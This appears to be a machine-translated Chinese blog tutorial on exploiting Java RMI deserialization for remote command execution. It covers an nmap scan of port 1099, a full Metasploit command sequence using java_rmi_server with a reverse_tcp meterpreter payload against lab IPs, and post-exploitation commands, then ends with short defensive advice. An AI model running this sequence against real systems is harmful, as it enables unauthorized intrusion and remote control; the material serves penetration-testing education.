当前位置:网站首页>6-17 vulnerability exploitation - deserialization remote command execution vulnerability
6-17 vulnerability exploitation - deserialization remote command execution vulnerability
2022-07-25 22:04:00 【Mountain Rabbit 1】

Java rmi Introduce
Java RMI A method of is called remotely (Remote Method Invocation). It's a mechanism , Be able to make in some java The object on the virtual machine calls another java Methods on objects in virtual machine .
RMI yes J2SE Part of , Enables programmers to develop software based on JAVA Distributed applications . One rmi The object is a remote JAVA object , Can be from another JAVA Virtual machine ( Even across the Internet ) Call its method , It can be like calling local JAVA Call the method of the remote object just like the method of the object , Is distributed in different JVM The objects in the look and behave like local objects .

We have JVM1 and JVM2,JVM1 and JVM2 You can interact back and forth ,JVM1 You can call JVM2 The method on the ,JVM2 You can call JVM1 The method on the , adopt RMI Technical realization
For any object as a parameter RMI Interface , You can send an object built by yourself , Force the server to exist this object as any one in class path To deserialize .
RMI The transmission of 100% Based on deserialization . First, he has to convert strings into objects , After deserialization, the object is converted into a string , So as to achieve the effect of transmission
Target detection rmi
Use Nmap -p 1099 -sV IP Address detection target version information .
nmap -sV -p 1099 192.168.1.106

You can see that the corresponding version information and running services are detected here , Service information localhost
In practice , Be sure to use vulnerability scanners , Conduct vulnerability detection , But we can directly POC Make use of
rmi Remote command execution utilizes
Use Metasploit Yes rmi RCE Exploit .
In fact, it is metasploit Module in , Serialize the commands of our system , Transferred to the rmi, In the process of transmission ,rmi What will be delivered , Convert to system commands , The whole process is because metasploit Constructed a special object , stay rmi server It is implemented , We are connected here server There was a conversation , The module we use is exploit
msfconsole
use exploit/multi/misc/java_rmi_server
show options
set rhosts 192.168.1.105
ifconfig
show payloads
set payload java/meterpreter/reverse_tcp
show options
set lhosts 192.168.1.103
exploit



sessions -l
sessions -i 1

?
// See the commands you can use

sysinfo

View the current system information
ps
// View current process information

Of course , We can also do other operations , Use meteasploit Conduct post penetration test , Upload and download , Fine
Defense repair
1、 There is a deserialization transport .– Particular attention , See if you can use the deserialization vulnerability to execute system commands
2、 There are defective third-party libraries such as commons-collections Timely upgrade Library , Or use another library , To replace the defective third-party library , This is what we need to do .
When setting permissions , Be sure to pay attention to , We java Of rmi process , Have the authority to execute our system , Or only part of it , Up to a point , It will restrict the execution of system commands , Achieve the effect of defense
边栏推荐
- 如何快速搭建图片服务器[通俗易懂]
- 在进行自动化测试,遇到验证码的问题,怎么办?
- Create EDA - why should I learn EDA
- 开源的RSS订阅器FreshRSS
- kubernetes之VictoriaMetrics单节点
- C language: random generated number + bubble sort
- Lichuang EDA -- creation of devices 01 resistance (II)
- Redis为何选择单线程?
- 【饭谈】那些看似为公司着想,实际却让人无法理解的事(二:面试时的软素质“眼缘”)
- PE format: analyze and implement IATHOOK
猜你喜欢

手机端微信发朋友圈功能测试点总结

All you want to know about interface testing is here

Summary of function test points of wechat sending circle of friends on mobile terminal

Bitcoin.com:USDD代表了真正去中心化稳定币

Virtual memory and disk

Jenkins+svn configuration

『Skywalking』.NET Core快速接入分布式链路追踪平台

2022最新软件测试八股文,能不能拿心仪Offer就看你背得怎样了

Application of breakthrough thinking in testing work

核电站在席卷欧洲的热浪中努力保持安全工作
随机推荐
Configuration and use of multithreading
Excuse me, how to deal with repeated consumption of MySQL data
Shopify sellers: share some tips for social media marketing!
golang : MVC之models
Summary of function test points of wechat sending circle of friends on mobile terminal
Lichuang EDA -- creation of devices 01 resistance (II)
Redisv6.0为何引入多线程?
[51nod1676 undirected graph isomorphism] undirected graph hash [easy to understand]
Why do independent sellers like to do e-mail marketing? The original conversion rate can be improved so much!
关于接口测试你想知道的都在这儿了
Redis 使用详解
少儿编程 电子学会图形化编程等级考试Scratch一级真题解析(判断题)2022年6月
2 lines of code to generate a solid desktop background
Guiding principles of information security construction
Redis usage details
Ijcai2022 meeting! Microsoft and other tutorials on domain generalization
Redis是什么?简述它的优缺点
c sqlite ... ...
Redis内存淘汰机制?
C语言左值和右值说明[通俗易懂]